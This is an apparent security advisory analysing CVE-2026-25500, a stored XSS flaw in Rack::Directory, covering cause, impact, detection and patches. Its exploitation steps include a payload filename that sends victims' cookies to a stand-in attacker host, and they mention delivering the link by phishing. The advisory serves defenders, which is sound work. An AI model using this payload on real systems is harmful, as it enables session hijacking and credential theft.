CVE-2026-25500: 
Ruby vulnerability analysis and mitigation

CVE-2026-25500 is a stored Cross-Site Scripting (XSS) vulnerability in Rack::Directory, a component of the Rack Ruby web server interface library. When Rack::Directory is used to serve filesystem contents over HTTP, an attacker with file creation or upload privileges can place a file whose name begins with the javascript: scheme (e.g., javascript:alert(1)) in the exposed directory. The generated HTML directory listing renders the filename directly into an anchor href attribute without sanitization, causing arbitrary JavaScript to execute in the application's origin when a user clicks the entry. Affected versions include Rack before 2.2.22, 3.0.0 through 3.1.19, and 3.2.0 through 3.2.4. The vulnerability was disclosed on February 16, 2026, and carries a CVSS v3.1 base score of 5.4 (Medium) (GitHub Advisory, Red Hat Bugzilla).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Rack::Directory uses an HTML row template (DIR_FILE) that populates the href attribute of anchor tags directly with the file's basename using a %s format placeholder, with no URI scheme validation or normalization. If a file's basename begins with javascript:, the resulting HTML is <a href='javascript:alert(1)'>javascript:alert(1)</a>, which browsers interpret as a JavaScript URI and execute upon click. The fix, committed in rack/rack@f2f225f, prefixes all generated anchors with ./ (e.g., href='./filename'), ensuring filenames are always treated as relative paths rather than URI schemes. The vulnerability was discovered and reported by Ali Firas (@thesmartshadow) via HackerOne (GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the security context (origin) of the Rack application, enabling session hijacking, credential theft, cookie exfiltration, and other client-side attacks against users who browse the directory listing. The scope is changed (S:C in CVSS), meaning the impact extends beyond the vulnerable component to the user's browser session. Availability is not directly impacted, but confidentiality and integrity are both partially compromised through the ability to read or modify data accessible to the victim's session (GitHub Advisory, Feedly).

A proof-of-concept is publicly referenced in the GitHub security advisory, but there is no evidence of active in-the-wild exploitation at this time (GitHub Advisory). Exploitation requires the attacker to have low-privilege file creation or upload access to a directory exposed by Rack::Directory, and also requires a victim user to click the malicious directory entry. The EPSS score is approximately 0.029% (7th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. IBM API Connect is also listed as an affected product (IBM Advisory).

1. Identify target: Locate a web application using Rack::Directory to serve a directory over HTTP where the attacker has file creation or upload privileges (e.g., a shared upload folder, FTP-accessible directory, or writable storage).
2. Create malicious file: Create a file whose name begins with a javascript: URI scheme payload, such as javascript:fetch('https://attacker.com/?c='+document.cookie). On Linux/macOS: touch "javascript:fetch('https://attacker.com/?c='+document.cookie)".
3. Verify directory listing: Browse to the Rack::Directory-served URL and confirm the malicious filename appears as a clickable link in the HTML listing with an href value of javascript:....
4. Deliver link to victim: Send the URL of the directory listing to a target user via phishing, social engineering, or by embedding it in application content.
5. Trigger XSS: When the victim visits the directory listing and clicks the malicious entry, the browser executes the JavaScript payload in the application's origin, potentially exfiltrating session cookies or performing actions on behalf of the victim (GitHub Advisory, Patch Commit).

• File System: Presence of files with names beginning with javascript: in directories served by Rack::Directory (e.g., javascript:alert(1), javascript:fetch(...)); unexpected files with unusual naming patterns in upload or shared directories.
• Network: Outbound HTTP requests from user browsers to unexpected external domains shortly after visiting a Rack::Directory-served listing; requests to attacker-controlled endpoints containing encoded cookie or session data in query parameters.
• Logs: Web server access logs showing requests to directory listing URLs followed by unusual outbound connections; application logs recording file creation events with javascript: prefixed filenames.
• Browser: Users reporting unexpected alert dialogs or unusual behavior when browsing directory listings served by the application.

Upgrade Rack to a patched version: 2.2.22, 3.1.20, or 3.2.5 depending on your current branch (GitHub Advisory, Patch Commit). If immediate upgrade is not possible, apply the following mitigations:

• Disable or avoid using Rack::Directory to expose user-controlled or writable directories in production.
• Restrict file upload and creation capabilities within Rack::Directory-exposed paths to trusted users only.
• Implement a strict Content Security Policy (CSP) header (e.g., script-src 'self') to block execution of javascript: URI payloads.
• Sanitize or reject uploaded filenames containing URI scheme prefixes such as javascript:, data:, or vbscript:.

Red Hat tracked the vulnerability via Bugzilla (Bug 2440738) and assigned it medium severity, with multiple product security team members added to the CC list, indicating broad internal review (Red Hat Bugzilla). Ubuntu issued security notice USN-8066-1 and openSUSE published a security announcement addressing the vulnerability in their rubygem-rack packages. Debian also issued advisories (DLA-4505-1 and DSA-6180-1) for ruby-rack. IBM addressed the issue in API Connect via a dedicated advisory (IBM Advisory). The vulnerability was credited to security researcher Ali Firas (@thesmartshadow) via HackerOne, with remediation coordinated by Rack maintainer ioquatix (GitHub Advisory).